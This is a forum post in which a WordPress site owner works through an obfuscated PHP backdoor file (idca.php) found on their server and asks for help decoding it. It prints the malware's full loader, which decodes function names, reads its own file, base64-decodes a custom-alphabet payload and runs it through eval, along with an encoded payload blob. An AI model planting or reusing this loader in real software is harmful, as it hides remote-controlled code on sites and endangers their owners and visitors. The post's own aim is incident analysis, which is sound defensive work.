Analyzing WordPress Hack: decrypting idca.php

I found some nasty code on my server and I’m trying to decrypt it to figure out anything I can about this attack to prevent it in the future. The entire php file is a giant mess of a block of text, but before the charactervomit is this:

<?php /* Coded By ./Cyber404 & Encryted By Mr-GanDrunX */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x4A2B0;eval($OOO0000O0('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwT08wMCgkTzAwME8wTzAwLDB4NTE0KTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCdFbnRlcnlvdXdraFJIWUtOV09VVEFhQmJDY0RkRmZHZ0lpSmpMbE1tUHBRcVNzVnZYeFp6MDEyMzQ1Njc4OSsvPScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT08wME8wME8wKTs='));return;?>

I’ve worked it down by removing the hex:

<?php /* Coded By ./Cyber404 & Encryted By Mr-GanDrunX */$OOO000000=urldecode('fg6sbehpra4co_tnd');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x4A2B0;$O000O0O00=$OOO000O00($OOO0O0O00,'rb');$O0O00OO00($O000O0O00,0x514);$OO00O00O0=$OOO0000O0($OOO00000O($O0O00OO00($O000O0O00,0x17c),'EnteryouwkhRHYKNWOUTAaBbCcDdFfGgIiJjLlMmPpQqSsVvXxZz0123456789+/=','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'));eval($OO00O00O0);return;?>

Resolved some of that and found this:

<?php /* Coded By ./Cyber404 & Encryted By Mr-GanDrunX */$OOO000000=urldecode('fg6sbehpra4co_tnd');$OOO0000O0=base64_decode;$OOO000O00=fopen;$O0O000O00=fget;$O0O000O0O=fgetc;$O0O000O00=fgets;$O0O00OO00=fread;$OOO00000O=strtr;$OOO0O0O00=__FILE__;$OO00O0000=0x4A2B0;eval(base64_decode('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwT08wMCgkTzAwME8wTzAwLDB4NTE0KTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCdFbnRlcnlvdXdraFJIWUtOV09VVEFhQmJDY0RkRmZHZ0lpSmpMbE1tUHBRcVNzVnZYeFp6MDEyMzQ1Njc4OSsvPScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT08wME8wME8wKTs='));return;?>

These were resolved from the urldecode:
$OOO0000O0=base64_decode
$OOO000O00=fopen
$O0O000O00=fget
$O0O000O0O=fgetc
$O0O000O00=fgets
$O0O00OO00=fread
$OOO00000O=strtr

Then decoded this from ddecode.com:

eval(base64_decode('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwT08wMCgkTzAwME8wTzAwLDB4NTE0KTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCdFbnRlcnlvdXdraFJIWUtOV09VVEFhQmJDY0RkRmZHZ0lpSmpMbE1tUHBRcVNzVnZYeFp6MDEyMzQ1Njc4OSsvPScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT08wME8wME8wKTs='))

Decoded to this:

$O000O0O00=$OOO000O00($OOO0O0O00,'rb');$O0O00OO00($O000O0O00,0x514);$OO00O00O0=$OOO0000O0($OOO00000O($O0O00OO00($O000O0O00,0x17c),'EnteryouwkhRHYKNWOUTAaBbCcDdFfGgIiJjLlMmPpQqSsVvXxZz0123456789+/=','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'));eval($OO00O00O0);

more replacing and it looks like this:

<?php /* Coded By ./Cyber404 & Encryted By Mr-GanDrunX */$OOO000000=urldecode('fg6sbehpra4co_tnd');$OOO0000O0=base64_decode;$OOO000O00=fopen;$O0O000O00=fget;$O0O000O0O=fgetc;$O0O000O00=fgets;$O0O00OO00=fread;$OOO00000O=strtr;$OOO0O0O00=__FILE__;$OO00O0000=0x4A2B0;$O000O0O00=fopen(__FILE__,'rb');fread(fopen(__FILE__,'rb'),0x514);$OO00O00O0=base64_decode(strtr(fread(fopen(__FILE__,'rb'),0x17c),'EnteryouwkhRHYKNWOUTAaBbCcDdFfGgIiJjLlMmPpQqSsVvXxZz0123456789+/=','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'));eval(base64_decode(strtr(fread(fopen(__FILE__,'rb'),0x17c),'EnteryouwkhRHYKNWOUTAaBbCcDdFfGgIiJjLlMmPpQqSsVvXxZz0123456789+/=','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/')));return;?>

This is where I am stuck.. I tried to decode from the same site:

eval(base64_decode(strtr(fread(fopen(__FILE__,'rb'),0x17c),'EnteryouwkhRHYKNWOUTAaBbCcDdFfGgIiJjLlMmPpQqSsVvXxZz0123456789+/=','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/')))

but it’s throwing me an error

I think there might be more simplification I can do with

fread(fopen(__FILE__,'rb'),0x17c) 

but I don’t know where to go from here and honestly my head hurts from staring at this decryption on top of decryption on top of decryption with annoyingly similar var names. Has anyone experienced something like this?

Edit: Small addition, right after the php closes and before the character vomit, it is somewhat legible, showing what looks like semi-obfuscated bash commands:

root@Hiddenymouz:~#./hiddenymouz45DSFJK4sdfkmlskv2jjd5lsdh74ks/25akdhelals,fnfje5aldlfg46duf96msvc/hs/nrjdhkr9NHenNHenNHe1zfukgFMaXdoyjcUImb19oUAxyb18mRtwmwJ4LT09NHr8XTzEXRJwmwJXLT09NHeEXHr8XhtONT08XHeEXHr8Pkr8XTzEXT08XHtILTzEXHr8XTzEXRtONTzEXTzEXHeEpRtfydmOlFmlvfbfqDykwBAsKa09aaryiWMkeC0OLOMcuc0lpUMpHdr1sAunOFaYzamcCGyp6HerZHzW1YjF4KUSvNUFSk0ytW0OyOLfwUApRTr1KT1nOAlYAaacbBylDCBkjcoaMc2ipDMsSdB5vFuyZF3O1fmf4GbPXHTwzYeA2YzI5hZ8mhULpK2cjdo9zcUILTzEXHr8XTzEXhTslfMyShtONTzEXTzEXTzEpKX==